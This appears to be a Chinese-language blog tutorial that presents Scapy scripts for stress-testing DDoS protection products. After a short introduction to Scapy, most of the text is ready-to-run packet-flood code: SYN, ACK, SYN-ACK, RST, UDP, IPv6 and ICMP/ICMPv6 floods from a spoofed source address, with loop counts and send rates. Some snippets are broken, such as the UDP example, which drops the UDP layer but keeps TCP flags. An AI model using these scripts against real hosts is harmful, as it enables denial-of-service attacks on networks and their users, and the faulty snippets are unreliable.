本篇文章主要介绍关于ddos产品进行测试采用scapy库进行攻击的方法
Scapy是一个Python库,用于交互式网络数据包操作和嗅探。它可以用于构建和发送自定义网络数据包,以及对网络通信进行嗅探和分析。Scapy还支持TCP/IP协议栈中的各种协议,包括IPv4、IPv6、TCP、UDP、ICMP等等。
使用Scapy,你可以:
- 构建和发送自定义的网络数据包,例如TCP SYN扫描、ARP请求等等。
- 监听和捕获网络数据包,并对其进行分析和处理。
- 对网络通信进行嗅探和分析,例如分析网络流量、检测和分析网络攻击等等。
- 与其他Python库和工具进行交互,例如Nmap、Wireshark等等。
Scapy的优点包括:
- 简单易用:Scapy提供了一个交互式的命令行界面,使用户可以轻松地构建和发送自定义网络数据包,并对网络通信进行嗅探和分析。
- 灵活性:Scapy可以处理TCP/IP协议栈中的各种协议,并且可以自定义协议。
- 可扩展性:Scapy支持自定义插件和扩展,使用户可以轻松地扩展其功能。
- 可移植性:Scapy可以在多个平台上运行,并且可以与其他Python库和工具进行交互。
需要注意的是,在使用Scapy进行网络嗅探和分析时,应遵守相关法律法规和道德规范,以确保不侵犯他人的隐私和安全。
1.发送syn包
flags="S"
from scapy.all import *
packet =Ether(dst="mac地址")/IP(src='192.13.111.1',dst="*.*.*.*")/TCP(sport=8888,dport=5011, flags="S")/"abc"
for i in range(10000):
sendp(packet)
print(i)
sendp(packet,count=100000, inter=1/500) # 500 packets per second
2.发送ack包
flags="A"
from scapy.all import *
packet =Ether(dst="mac地址")/IP(src='192.13.111.1',dst="*.*.*.*")/TCP(sport=8888,dport=5011, flags="A")/"abc"
for i in range(10000):
sendp(packet)
print(i)
sendp(packet,count=100000, inter=1/500) # 500 packets per second
3.发送synack包
flags="SA"
from scapy.all import *
packet =Ether(dst="mac地址")/IP(src='192.13.111.1',dst="*.*.*.*")/TCP(sport=8888,dport=5011, flags="SA")/"abc"
for i in range(10000):
sendp(packet)
print(i)
sendp(packet,count=100000, inter=1/500) # 500 packets per second
4.发送发送rst包
flags="R"
from scapy.all import *
packet =Ether(dst="mac地址")/IP(src='192.13.111.1',dst="*.*.*.*")/TCP(sport=8888,dport=5011, flags="R")/"abc"
for i in range(10000):
sendp(packet)
print(i)
sendp(packet,count=100000, inter=1/500) # 500 packets per second
5.发送UDP包
修改TCP为UDP
from scapy.all import *
packet =Ether(dst="mac地址")/IP(src='192.13.111.1',dst="*.*.*.*")/(sport=8888,dport=5011, flags="R")/"abc"
for i in range(10000):
sendp(packet)
print(i)
sendp(packet,count=100000, inter=1/500) # 500 packets per second
6.发送二层包sendp(加物理地址)
packet加了Ether则需要用sendp发送指定物理地址
from scapy.all import *
packet =Ether(dst="mac地址")/IP(src='192.13.111.1',dst="*.*.*.*")/TCP(sport=8888,dport=5011, flags="R")/"abc"
for i in range(10000):
sendp(packet)
print(i)
sendp(packet,count=100000, inter=1/500) # 500 packets per second
7.发送三层包send
如果不用指定物理地址,可以直接使用send
from scapy.all import *
packet =Ether(dst="mac地址")/IP(src='192.13.111.1',dst="*.*.*.*")/TCP(sport=8888,dport=5011, flags="R")/"abc"
for i in range(10000):
send(packet)
print(i)
send(packet,count=100000, inter=1/500) # 500 packets per second
8.ipv6攻击
修改IP为IPv6
from scapy.all import *
packet =Ether(dst="mac地址")/IPv6(dst="ipv6目标地址")/TCP(sport=8888,dport=5011, flags="R")/"abc"
for i in range(10000):
sendp(packet)
print(i)
sendp(packet,count=100000, inter=1/500) # 500 packets per second
9.并发攻击
sendp(packet,count=100000, inter=1/500) 每秒500个包,发100000个
from scapy.all import *
packet =Ether(dst="mac地址")/IPv6(dst="ipv6目标地址")/TCP(sport=8888,dport=5011, flags="R")/"abc"
for i in range(10000):
sendp(packet)
print(i)
sendp(packet,count=100000, inter=1/500) # 500 packets per second
10 ping v4分类型攻击type=3,code=3
# -*- coding:utf-8 -*-
from scapy.all import *
import subprocess
packet =Ether(dst="mac地址")/IP(src='192.13.111.1',dst="目标地址")/ICMP(type=3,code=3)/"abc"
for i in range(100000):
sendp(packet)
11.ping v6攻击
from scapy.all import *
import subprocess
from scapy.layers.l2 import Ether
packet =Ether(dst="mac地址")/IPv6(dst="ipv6目标地址")/ICMPv6EchoRequest(type=1,code=4)/"abc"
for i in range(100000):
sendp(packet)